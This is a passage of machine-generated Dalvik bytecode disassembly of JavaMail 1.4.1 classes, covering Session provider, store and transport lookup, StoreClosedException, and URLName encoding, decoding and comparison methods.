0000010A goto :4A
.catch IOException {:2 .. :40} :7A
.catch SecurityException {:2 .. :40} :B8
.catchall {:2 .. :40} :F6
.catch IOException {:44 .. :4A} :108
.catch IOException {:4C .. :78} :7A
.catch SecurityException {:4C .. :78} :B8
.catchall {:4C .. :78} :F6
.catchall {:7C .. :A8} :F6
.catch IOException {:AC .. :B2} :B4
.catchall {:BA .. :E6} :F6
.catch IOException {:EA .. :F0} :F2
.catch IOException {:FC .. :102} :104
.end method
.method private static openStream(URL)InputStream
.registers 2
00000000 new-instance v0, Session$7
00000004 invoke-direct Session$7-><init>(URL)V, v0, p0
0000000A invoke-static AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, InputStream
:16
00000016 return-object v0
:18
00000018 move-exception v0
0000001A invoke-virtual PrivilegedActionException->getException()Exception, v0
00000020 move-result-object v0
00000022 check-cast v0, IOException
00000026 throw v0
.catch PrivilegedActionException {:0 .. :16} :18
.end method
.method private pr(String)V
.registers 3
00000000 invoke-virtual Session->getDebugOut()PrintStream, p0
00000006 move-result-object v0
00000008 invoke-virtual PrintStream->println(String)V, v0, p1
0000000E return-void
.end method
.method public declared-synchronized addProvider(Provider)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Session->providers:Vector
00000006 invoke-virtual Vector->addElement(Object)V, v0, p1
0000000C iget-object v0, p0, Session->providersByClassName:Hashtable
00000010 invoke-virtual Provider->getClassName()String, p1
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
0000001E iget-object v0, p0, Session->providersByProtocol:Hashtable
00000022 invoke-virtual Provider->getProtocol()String, p1
00000028 move-result-object v1
0000002A invoke-virtual Hashtable->containsKey(Object)Z, v0, v1
00000030 move-result v0
00000032 if-nez v0, :48
:36
00000036 iget-object v0, p0, Session->providersByProtocol:Hashtable
0000003A invoke-virtual Provider->getProtocol()String, p1
00000040 move-result-object v1
00000042 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
:48
00000048 monitor-exit p0
0000004A return-void
:4C
0000004C move-exception v0
0000004E monitor-exit p0
00000050 throw v0
.catchall {:2 .. :48} :4C
.end method
.method public declared-synchronized getDebug()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, Session->debug:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getDebugOut()PrintStream
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Session->out:PrintStream
00000006 if-nez v0, :12
:A
0000000A sget-object v0, System->out:PrintStream
:E
0000000E monitor-exit p0
00000010 return-object v0
:12
00000012 iget-object v0, p0, Session->out:PrintStream
:16
00000016 goto :E
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :E} :18
.catchall {:12 .. :16} :18
.end method
.method public getFolder(URLName)Folder
.registers 3
00000000 invoke-virtual Session->getStore(URLName)Store, p0, p1
00000006 move-result-object v0
00000008 invoke-virtual Store->connect()V, v0
0000000E invoke-virtual Store->getFolder(URLName)Folder, v0, p1
00000014 move-result-object v0
00000016 return-object v0
.end method
.method public getPasswordAuthentication(URLName)PasswordAuthentication
.registers 3
00000000 iget-object v0, p0, Session->authTable:Hashtable
00000004 invoke-virtual Hashtable->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, PasswordAuthentication
00000010 return-object v0
.end method
.method public getProperties()Properties
.registers 2
00000000 iget-object v0, p0, Session->props:Properties
00000004 return-object v0
.end method
.method public getProperty(String)String
.registers 3
00000000 iget-object v0, p0, Session->props:Properties
00000004 invoke-virtual Properties->getProperty(String)String, v0, p1
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public declared-synchronized getProvider(String)Provider
.registers 6
00000000 monitor-enter p0
00000002 if-eqz p1, :12
:6
00000006 invoke-virtual String->length()I, p1
0000000C move-result v0
0000000E if-gtz v0, :28
:12
00000012 new-instance v0, NoSuchProviderException
00000016 const-string v1, "Invalid protocol: null"
0000001A invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000020 throw v0
:22
00000022 move-exception v0
00000024 monitor-exit p0
00000026 throw v0
:28
00000028 const/4 v0, 0x0
:2A
0000002A iget-object v1, p0, Session->props:Properties
0000002E new-instance v2, StringBuilder
00000032 const-string v3, "mail."
00000036 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000003C invoke-virtual StringBuilder->append(String)StringBuilder, v2, p1
00000042 move-result-object v2
00000044 const-string v3, ".class"
00000048 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000004E move-result-object v2
00000050 invoke-virtual StringBuilder->toString()String, v2
00000056 move-result-object v2
00000058 invoke-virtual Properties->getProperty(String)String, v1, v2
0000005E move-result-object v1
00000060 if-eqz v1, :B4
:64
00000064 iget-boolean v0, p0, Session->debug:Z
00000068 if-eqz v0, :A4
:6C
0000006C new-instance v0, StringBuilder
00000070 const-string v2, "DEBUG: mail."
00000074 invoke-direct StringBuilder-><init>(String)V, v0, v2
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000080 move-result-object v0
00000082 const-string v2, ".class property exists and points to "
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
0000008C move-result-object v0
0000008E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000094 move-result-object v0
00000096 invoke-virtual StringBuilder->toString()String, v0
0000009C move-result-object v0
0000009E invoke-direct Session->pr(String)V, p0, v0
:A4
000000A4 iget-object v0, p0, Session->providersByClassName:Hashtable
000000A8 invoke-virtual Hashtable->get(Object)Object, v0, v1
000000AE move-result-object v0
000000B0 check-cast v0, Provider
:B4
000000B4 if-eqz v0, :BC
:B8
000000B8 monitor-exit p0
000000BA return-object v0
:BC
000000BC iget-object v0, p0, Session->providersByProtocol:Hashtable
000000C0 invoke-virtual Hashtable->get(Object)Object, v0, p1
000000C6 move-result-object v0
000000C8 check-cast v0, Provider
000000CC if-nez v0, :FA
:D0
000000D0 new-instance v0, NoSuchProviderException
000000D4 new-instance v1, StringBuilder
000000D8 const-string v2, "No provider for "
000000DC invoke-direct StringBuilder-><init>(String)V, v1, v2
000000E2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, p1
000000E8 move-result-object v1
000000EA invoke-virtual StringBuilder->toString()String, v1
000000F0 move-result-object v1
000000F2 invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
000000F8 throw v0
:FA
000000FA iget-boolean v1, p0, Session->debug:Z
000000FE if-eqz v1, :B8
:102
00000102 new-instance v1, StringBuilder
00000106 const-string v2, "DEBUG: getProvider() returning "
0000010A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000110 invoke-virtual Provider->toString()String, v0
00000116 move-result-object v2
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000011E move-result-object v1
00000120 invoke-virtual StringBuilder->toString()String, v1
00000126 move-result-object v1
00000128 invoke-direct Session->pr(String)V, p0, v1
:12E
0000012E goto :B8
.catchall {:6 .. :22} :22
.catchall {:2A .. :B4} :22
.catchall {:BC .. :12E} :22
.end method
.method public declared-synchronized getProviders()[Provider
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Session->providers:Vector
00000006 invoke-virtual Vector->size()I, v0
0000000C move-result v0
0000000E new-array v0, v0, [Provider
00000012 iget-object v1, p0, Session->providers:Vector
00000016 invoke-virtual Vector->copyInto([Object)V, v1, v0
:1C
0000001C monitor-exit p0
0000001E return-object v0
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
.catchall {:2 .. :1C} :20
.end method
.method public getStore()Store
.registers 2
00000000 const-string v0, "mail.store.protocol"
00000004 invoke-virtual Session->getProperty(String)String, p0, v0
0000000A move-result-object v0
0000000C invoke-virtual Session->getStore(String)Store, p0, v0
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getStore(String)Store
.registers 9
00000000 const/4 v2, 0x0
00000002 new-instance v0, URLName
00000006 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000008 move-object v1, p1
0000000A move-object v4, v2
0000000C move-object v5, v2
0000000E move-object v6, v2
00000010 invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000016 invoke-virtual Session->getStore(URLName)Store, p0, v0
0000001C move-result-object v0
0000001E return-object v0
.end method
.method public getStore(Provider)Store
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Session->getStore(Provider, URLName)Store, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public getStore(URLName)Store
.registers 3
00000000 invoke-virtual URLName->getProtocol()String, p1
00000006 move-result-object v0
00000008 invoke-virtual Session->getProvider(String)Provider, p0, v0
0000000E move-result-object v0
00000010 invoke-direct Session->getStore(Provider, URLName)Store, p0, v0, p1
00000016 move-result-object v0
00000018 return-object v0
.end method
.method public getTransport()Transport
.registers 2
00000000 const-string v0, "mail.transport.protocol"
00000004 invoke-virtual Session->getProperty(String)String, p0, v0
0000000A move-result-object v0
0000000C invoke-virtual Session->getTransport(String)Transport, p0, v0
00000012 move-result-object v0
00000014 return-object v0
.end method
.method public getTransport(String)Transport
.registers 9
00000000 const/4 v2, 0x0
00000002 new-instance v0, URLName
00000006 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000008 move-object v1, p1
0000000A move-object v4, v2
0000000C move-object v5, v2
0000000E move-object v6, v2
00000010 invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000016 invoke-virtual Session->getTransport(URLName)Transport, p0, v0
0000001C move-result-object v0
0000001E return-object v0
.end method
.method public getTransport(Address)Transport
.registers 5
00000000 iget-object v0, p0, Session->addressMap:Properties
00000004 invoke-virtual Address->getType()String, p1
0000000A move-result-object v1
0000000C invoke-virtual Properties->get(Object)Object, v0, v1
00000012 move-result-object v0
00000014 check-cast v0, String
00000018 if-nez v0, :4E
:1C
0000001C new-instance v0, NoSuchProviderException
00000020 new-instance v1, StringBuilder
00000024 const-string v2, "No provider for Address type: "
00000028 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002E invoke-virtual Address->getType()String, p1
00000034 move-result-object v2
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000003C move-result-object v1
0000003E invoke-virtual StringBuilder->toString()String, v1
00000044 move-result-object v1
00000046 invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
0000004C throw v0
:4E
0000004E invoke-virtual Session->getTransport(String)Transport, p0, v0
00000054 move-result-object v0
00000056 return-object v0
.end method
.method public getTransport(Provider)Transport
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct Session->getTransport(Provider, URLName)Transport, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public getTransport(URLName)Transport
.registers 3
00000000 invoke-virtual URLName->getProtocol()String, p1
00000006 move-result-object v0
00000008 invoke-virtual Session->getProvider(String)Provider, p0, v0
0000000E move-result-object v0
00000010 invoke-direct Session->getTransport(Provider, URLName)Transport, p0, v0, p1
00000016 move-result-object v0
00000018 return-object v0
.end method
.method public requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication
.registers 12
00000000 iget-object v0, p0, Session->authenticator:Authenticator
00000004 if-eqz v0, :20
:8
00000008 iget-object v0, p0, Session->authenticator:Authenticator
0000000C move-object v1, p1
0000000E move v2, p2
00000010 move-object v3, p3
00000012 move-object v4, p4
00000014 move-object v5, p5
00000016 invoke-virtual/range Authenticator->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v0 .. v5
0000001C move-result-object v0
:1E
0000001E return-object v0
:20
00000020 const/4 v0, 0x0
00000022 goto :1E
.end method
.method public declared-synchronized setDebug(Z)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-boolean p1, p0, Session->debug:Z
00000006 if-eqz p1, :14
:A
0000000A const-string v0, "DEBUG: setDebug: JavaMail version 1.4.1"
0000000E invoke-direct Session->pr(String)V, p0, v0
:14
00000014 monitor-exit p0
00000016 return-void
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :14} :18
.end method
.method public declared-synchronized setDebugOut(PrintStream)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, Session->out:PrintStream
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public setPasswordAuthentication(URLName, PasswordAuthentication)V
.registers 4
00000000 if-nez p2, :10
:4
00000004 iget-object v0, p0, Session->authTable:Hashtable
00000008 invoke-virtual Hashtable->remove(Object)Object, v0, p1
:E
0000000E return-void
:10
00000010 iget-object v0, p0, Session->authTable:Hashtable
00000014 invoke-virtual Hashtable->put(Object, Object)Object, v0, p1, p2
0000001A goto :E
.end method
.method public declared-synchronized setProtocolForAddress(String, String)V
.registers 4
00000000 monitor-enter p0
00000002 if-nez p2, :14
:6
00000006 iget-object v0, p0, Session->addressMap:Properties
0000000A invoke-virtual Properties->remove(Object)Object, v0, p1
:10
00000010 monitor-exit p0
00000012 return-void
:14
00000014 iget-object v0, p0, Session->addressMap:Properties
00000018 invoke-virtual Properties->put(Object, Object)Object, v0, p1, p2
:1E
0000001E goto :10
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
.catchall {:6 .. :10} :20
.catchall {:14 .. :1E} :20
.end method
.method public declared-synchronized setProvider(Provider)V
.registers 5
00000000 monitor-enter p0
00000002 if-nez p1, :1C
:6
00000006 new-instance v0, NoSuchProviderException
0000000A const-string v1, "Can\'t set null provider"
0000000E invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000014 throw v0
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
:1C
0000001C iget-object v0, p0, Session->providersByProtocol:Hashtable
00000020 invoke-virtual Provider->getProtocol()String, p1
00000026 move-result-object v1
00000028 invoke-virtual Hashtable->put(Object, Object)Object, v0, v1, p1
0000002E iget-object v0, p0, Session->props:Properties
00000032 new-instance v1, StringBuilder
00000036 const-string v2, "mail."
0000003A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000040 invoke-virtual Provider->getProtocol()String, p1
00000046 move-result-object v2
00000048 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000004E move-result-object v1
00000050 const-string v2, ".class"
00000054 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005A move-result-object v1
0000005C invoke-virtual StringBuilder->toString()String, v1
00000062 move-result-object v1
00000064 invoke-virtual Provider->getClassName()String, p1
0000006A move-result-object v2
0000006C invoke-virtual Properties->put(Object, Object)Object, v0, v1, v2
:72
00000072 monitor-exit p0
00000074 return-void
.catchall {:6 .. :16} :16
.catchall {:1C .. :72} :16
.end method
#--------------------------------------------------------------------------------
.class public StoreClosedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0xD4595255D6538F21L
.field private transient varargs store:Store
.method public constructor <init>(Store)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct StoreClosedException-><init>(Store, String)V, p0, p1, v0
00000008 return-void
.end method
.method public constructor <init>(Store, String)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String)V, p0, p2
00000006 iput-object p1, p0, StoreClosedException->store:Store
0000000A return-void
.end method
.method public getStore()Store
.registers 2
00000000 iget-object v0, p0, StoreClosedException->store:Store
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public UIDFolder$FetchProfileItem
.super FetchProfile$Item
.source ""
.field public static final UID:UIDFolder$FetchProfileItem
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, UIDFolder$FetchProfileItem
00000004 const-string v1, "UID"
00000008 invoke-direct UIDFolder$FetchProfileItem-><init>(String)V, v0, v1
0000000E sput-object v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000012 return-void
.end method
.method protected constructor <init>(String)V
.registers 2
00000000 invoke-direct FetchProfile$Item-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public URLName
.super Object
.source ""
.field static final caseDiff:I = 0x20
.field private static doEncode:Z
.field static dontNeedEncoding:BitSet
.field private file:String
.field protected fullURL:String
.field private hashCode:I
.field private host:String
.field private hostAddress:InetAddress
.field private hostAddressKnown:Z
.field private password:String
.field private port:I
.field private protocol:String
.field private ref:String
.field private username:String
.method static constructor <clinit>()V
.registers 2
00000000 const/4 v0, 0x1
00000002 sput-boolean v0, URLName->doEncode:Z
:6
00000006 const-string v1, "mail.URLName.dontencode"
0000000A invoke-static Boolean->getBoolean(String)Z, v1
00000010 move-result v1
00000012 if-eqz v1, :18
:16
00000016 const/4 v0, 0x0
:18
00000018 sput-boolean v0, URLName->doEncode:Z
:1C
0000001C new-instance v0, BitSet
00000020 const/16 v1, 0x100
00000024 invoke-direct BitSet-><init>(I)V, v0, v1
0000002A sput-object v0, URLName->dontNeedEncoding:BitSet
0000002E const/16 v0, 0x61
:32
00000032 const/16 v1, 0x7A
00000036 if-le v0, v1, :9A
:3A
0000003A const/16 v0, 0x41
:3E
0000003E const/16 v1, 0x5A
00000042 if-le v0, v1, :AA
:46
00000046 const/16 v0, 0x30
:4A
0000004A const/16 v1, 0x39
0000004E if-le v0, v1, :BA
:52
00000052 sget-object v0, URLName->dontNeedEncoding:BitSet
00000056 const/16 v1, 0x20
0000005A invoke-virtual BitSet->set(I)V, v0, v1
00000060 sget-object v0, URLName->dontNeedEncoding:BitSet
00000064 const/16 v1, 0x2D
00000068 invoke-virtual BitSet->set(I)V, v0, v1
0000006E sget-object v0, URLName->dontNeedEncoding:BitSet
00000072 const/16 v1, 0x5F
00000076 invoke-virtual BitSet->set(I)V, v0, v1
0000007C sget-object v0, URLName->dontNeedEncoding:BitSet
00000080 const/16 v1, 0x2E
00000084 invoke-virtual BitSet->set(I)V, v0, v1
0000008A sget-object v0, URLName->dontNeedEncoding:BitSet
0000008E const/16 v1, 0x2A
00000092 invoke-virtual BitSet->set(I)V, v0, v1
00000098 return-void
:9A
0000009A sget-object v1, URLName->dontNeedEncoding:BitSet
0000009E invoke-virtual BitSet->set(I)V, v1, v0
000000A4 add-int/lit8 v0, v0, 0x1
000000A8 goto :32
:AA
000000AA sget-object v1, URLName->dontNeedEncoding:BitSet
000000AE invoke-virtual BitSet->set(I)V, v1, v0
000000B4 add-int/lit8 v0, v0, 0x1
000000B8 goto :3E
:BA
000000BA sget-object v1, URLName->dontNeedEncoding:BitSet
000000BE invoke-virtual BitSet->set(I)V, v1, v0
000000C4 add-int/lit8 v0, v0, 0x1
000000C8 goto :4A
:CA
000000CA move-exception v0
000000CC goto :1C
.catch Exception {:6 .. :1C} :CA
.end method
.method public constructor <init>(String)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-boolean v1, p0, URLName->hostAddressKnown:Z
0000000C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000000E iput v0, p0, URLName->port:I
00000012 iput v1, p0, URLName->hashCode:I
00000016 invoke-virtual URLName->parseString(String)V, p0, p1
0000001C return-void
.end method
.method public constructor <init>(String, String, I, String, String, String)V
.registers 10
00000000 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v1, 0x0
00000004 invoke-direct Object-><init>()V, p0
0000000A iput-boolean v1, p0, URLName->hostAddressKnown:Z
0000000E iput v2, p0, URLName->port:I
00000012 iput v1, p0, URLName->hashCode:I
00000016 iput-object p1, p0, URLName->protocol:String
0000001A iput-object p2, p0, URLName->host:String
0000001E iput p3, p0, URLName->port:I
00000022 if-eqz p4, :7C
:26
00000026 const/16 v0, 0x23
0000002A invoke-virtual String->indexOf(I)I, p4, v0
00000030 move-result v0
00000032 if-eq v0, v2, :7C
:36
00000036 invoke-virtual String->substring(I, I)String, p4, v1, v0
0000003C move-result-object v1
0000003E iput-object v1, p0, URLName->file:String
00000042 add-int/lit8 v0, v0, 0x1
00000046 invoke-virtual String->substring(I)String, p4, v0
0000004C move-result-object v0
0000004E iput-object v0, p0, URLName->ref:String
:52
00000052 sget-boolean v0, URLName->doEncode:Z
00000056 if-eqz v0, :62
:5A
0000005A invoke-static URLName->encode(String)String, p5
00000060 move-result-object p5
:62
00000062 iput-object p5, p0, URLName->username:String
00000066 sget-boolean v0, URLName->doEncode:Z
0000006A if-eqz v0, :76
:6E
0000006E invoke-static URLName->encode(String)String, p6
00000074 move-result-object p6
:76
00000076 iput-object p6, p0, URLName->password:String
0000007A return-void
:7C
0000007C iput-object p4, p0, URLName->file:String
00000080 const/4 v0, 0x0
00000082 iput-object v0, p0, URLName->ref:String
00000086 goto :52
.end method
.method public constructor <init>(URL)V
.registers 3
00000000 invoke-virtual URL->toString()String, p1
00000006 move-result-object v0
00000008 invoke-direct URLName-><init>(String)V, p0, v0
0000000E return-void
.end method
.method private static _encode(String)String
.registers 11
00000000 const/16 v9, 0x10
00000004 const/4 v1, 0x0
00000006 const/16 v0, 0xA
0000000A new-instance v4, StringBuffer
0000000E invoke-virtual String->length()I, p0
00000014 move-result v2
00000016 invoke-direct StringBuffer-><init>(I)V, v4, v2
0000001C new-instance v5, ByteArrayOutputStream
00000020 invoke-direct ByteArrayOutputStream-><init>(I)V, v5, v0
00000026 new-instance v6, OutputStreamWriter
0000002A invoke-direct OutputStreamWriter-><init>(OutputStream)V, v6, v5
00000030 move v0, v1
:32
00000032 invoke-virtual String->length()I, p0
00000038 move-result v2
0000003A if-lt v0, v2, :48
:3E
0000003E invoke-virtual StringBuffer->toString()String, v4
00000044 move-result-object v0
00000046 return-object v0
:48
00000048 invoke-virtual String->charAt(I)C, p0, v0
0000004E move-result v2
00000050 sget-object v3, URLName->dontNeedEncoding:BitSet
00000054 invoke-virtual BitSet->get(I)Z, v3, v2
0000005A move-result v3
0000005C if-eqz v3, :7A
:60
00000060 const/16 v3, 0x20
00000064 if-ne v2, v3, :6C
:68
00000068 const/16 v2, 0x2B
:6C
0000006C int-to-char v2, v2
0000006E invoke-virtual StringBuffer->append(C)StringBuffer, v4, v2
:74
00000074 add-int/lit8 v0, v0, 0x1
00000078 goto :32
:7A
0000007A invoke-virtual OutputStreamWriter->write(I)V, v6, v2
00000080 invoke-virtual OutputStreamWriter->flush()V, v6
:86
00000086 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v5
0000008C move-result-object v7
0000008E move v2, v1
:90
00000090 array-length v3, v7
00000092 if-lt v2, v3, :A8
:96
00000096 invoke-virtual ByteArrayOutputStream->reset()V, v5
0000009C goto :74
:9E
0000009E move-exception v2
000000A0 invoke-virtual ByteArrayOutputStream->reset()V, v5
000000A6 goto :74
:A8
000000A8 const/16 v3, 0x25
000000AC invoke-virtual StringBuffer->append(C)StringBuffer, v4, v3
000000B2 aget-byte v3, v7, v2
000000B6 shr-int/lit8 v3, v3, 0x4
000000BA and-int/lit8 v3, v3, 0xF
000000BE invoke-static Character->forDigit(I, I)C, v3, v9
000000C4 move-result v3
000000C6 invoke-static Character->isLetter(C)Z, v3
000000CC move-result v8
000000CE if-eqz v8, :D8
:D2
000000D2 add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFE0
000000D6 int-to-char v3, v3
:D8
000000D8 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v3
000000DE aget-byte v3, v7, v2
000000E2 and-int/lit8 v3, v3, 0xF
000000E6 invoke-static Character->forDigit(I, I)C, v3, v9
000000EC move-result v3
000000EE invoke-static Character->isLetter(C)Z, v3
000000F4 move-result v8
000000F6 if-eqz v8, :100
:FA
000000FA add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFE0
000000FE int-to-char v3, v3
:100
00000100 invoke-virtual StringBuffer->append(C)StringBuffer, v4, v3
00000106 add-int/lit8 v2, v2, 0x1
0000010A goto :90
.catch IOException {:7A .. :86} :9E
.end method
.method static decode(String)String
.registers 5
00000000 if-nez p0, :8
:4
00000004 const/4 p0, 0x0
:6
00000006 return-object p0
:8
00000008 const-string v0, "+%"
0000000C invoke-static URLName->indexOfAny(String, String)I, p0, v0
00000012 move-result v0
00000014 const/4 v1, 0xFFFFFFFFFFFFFFFF
00000016 if-eq v0, v1, :6
:1A
0000001A new-instance v1, StringBuffer
0000001E invoke-direct StringBuffer-><init>()V, v1
00000024 const/4 v0, 0x0
:26
00000026 invoke-virtual String->length()I, p0
0000002C move-result v2
0000002E if-lt v0, v2, :54
:32
00000032 invoke-virtual StringBuffer->toString()String, v1
00000038 move-result-object v1
:3A
0000003A const-string v0, "8859_1"
0000003E invoke-virtual String->getBytes(String)[B, v1, v0
00000044 move-result-object v2
00000046 new-instance v0, String
0000004A invoke-direct String-><init>([B)V, v0, v2
:50
00000050 move-object p0, v0
00000052 goto :6
:54
00000054 invoke-virtual String->charAt(I)C, p0, v0
0000005A move-result v2
0000005C sparse-switch v2, :B8
:62
00000062 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
:68
00000068 add-int/lit8 v0, v0, 0x1
0000006C goto :26
:6E
0000006E const/16 v2, 0x20
00000072 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
00000078 goto :68
:7A
0000007A add-int/lit8 v2, v0, 0x1
0000007E add-int/lit8 v3, v0, 0x3
:82
00000082 invoke-virtual String->substring(I, I)String, p0, v2, v3
00000088 move-result-object v2
0000008A const/16 v3, 0x10
0000008E invoke-static Integer->parseInt(String, I)I, v2, v3
00000094 move-result v2
00000096 int-to-char v2, v2
00000098 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
:9E
0000009E add-int/lit8 v0, v0, 0x2
000000A2 goto :68
:A4
000000A4 move-exception v0
000000A6 new-instance v0, IllegalArgumentException
000000AA invoke-direct IllegalArgumentException-><init>()V, v0
000000B0 throw v0
:B2
000000B2 move-exception v0
000000B4 move-object v0, v1
000000B6 goto :50
.catch UnsupportedEncodingException {:3A .. :50} :B2
.catch NumberFormatException {:82 .. :9E} :A4
000000B8 .sparse-switch
0x25 -> :7A
0x2B -> :6E
.end sparse-switch
.end method
.method static encode(String)String
.registers 4
00000000 if-nez p0, :8
:4
00000004 const/4 p0, 0x0
:6
00000006 return-object p0
:8
00000008 const/4 v0, 0x0
:A
0000000A invoke-virtual String->length()I, p0
00000010 move-result v1
00000012 if-ge v0, v1, :6
:16
00000016 invoke-virtual String->charAt(I)C, p0, v0
0000001C move-result v1
0000001E const/16 v2, 0x20
00000022 if-eq v1, v2, :36
:26
00000026 sget-object v2, URLName->dontNeedEncoding:BitSet
0000002A invoke-virtual BitSet->get(I)Z, v2, v1
00000030 move-result v1
00000032 if-nez v1, :40
:36
00000036 invoke-static URLName->_encode(String)String, p0
0000003C move-result-object p0
0000003E goto :6
:40
00000040 add-int/lit8 v0, v0, 0x1
00000044 goto :A
.end method
.method private declared-synchronized getHostAddress()InetAddress
.registers 3
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 iget-boolean v1, p0, URLName->hostAddressKnown:Z
00000008 if-eqz v1, :14
:C
0000000C iget-object v0, p0, URLName->hostAddress:InetAddress
:10
00000010 monitor-exit p0
00000012 return-object v0
:14
00000014 iget-object v1, p0, URLName->host:String
:18
00000018 if-eqz v1, :10
:1C
0000001C iget-object v0, p0, URLName->host:String
00000020 invoke-static InetAddress->getByName(String)InetAddress, v0
00000026 move-result-object v0
00000028 iput-object v0, p0, URLName->hostAddress:InetAddress
:2C
0000002C const/4 v0, 0x1
:2E
0000002E iput-boolean v0, p0, URLName->hostAddressKnown:Z
00000032 iget-object v0, p0, URLName->hostAddress:InetAddress
00000036 goto :10
:38
00000038 move-exception v0
0000003A const/4 v0, 0x0
0000003C iput-object v0, p0, URLName->hostAddress:InetAddress
:40
00000040 goto :2C
:42
00000042 move-exception v0
00000044 monitor-exit p0
00000046 throw v0
.catchall {:4 .. :10} :42
.catchall {:14 .. :18} :42
.catch UnknownHostException {:1C .. :2C} :38
.catchall {:1C .. :2C} :42
.catchall {:2E .. :40} :42
.end method
.method private static indexOfAny(String, String)I
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-static URLName->indexOfAny(String, String, I)I, p0, p1, v0
00000008 move-result v0
0000000A return v0
.end method
.method private static indexOfAny(String, String, I)I
.registers 7
00000000 const/4 v1, 0xFFFFFFFFFFFFFFFF
:2
00000002 invoke-virtual String->length()I, p0
00000008 move-result v2
0000000A move v0, p2
:C
0000000C if-lt v0, v2, :14
:10
00000010 move v0, v1
:12
00000012 return v0
:14
00000014 invoke-virtual String->charAt(I)C, p0, v0
0000001A move-result v3
0000001C invoke-virtual String->indexOf(I)I, p1, v3
:22
00000022 move-result v3
00000024 if-gez v3, :12
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :C
:2E
0000002E move-exception v0
00000030 move v0, v1
00000032 goto :12
.catch StringIndexOutOfBoundsException {:2 .. :22} :2E
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v2, 0x0
00000002 instance-of v0, p1, URLName
00000006 if-nez v0, :E
:A
0000000A move v0, v2
:C
0000000C return v0
:E
0000000E check-cast p1, URLName
00000012 iget-object v0, p1, URLName->protocol:String
00000016 if-eqz v0, :2E
:1A
0000001A iget-object v0, p1, URLName->protocol:String
0000001E iget-object v1, p0, URLName->protocol:String
00000022 invoke-virtual String->equals(Object)Z, v0, v1
00000028 move-result v0
0000002A if-nez v0, :32
:2E
0000002E move v0, v2
00000030 goto :C
:32
00000032 invoke-direct URLName->getHostAddress()InetAddress, p0
00000038 move-result-object v0
0000003A invoke-direct URLName->getHostAddress()InetAddress, p1
00000040 move-result-object v1
00000042 if-eqz v0, :5A
:46
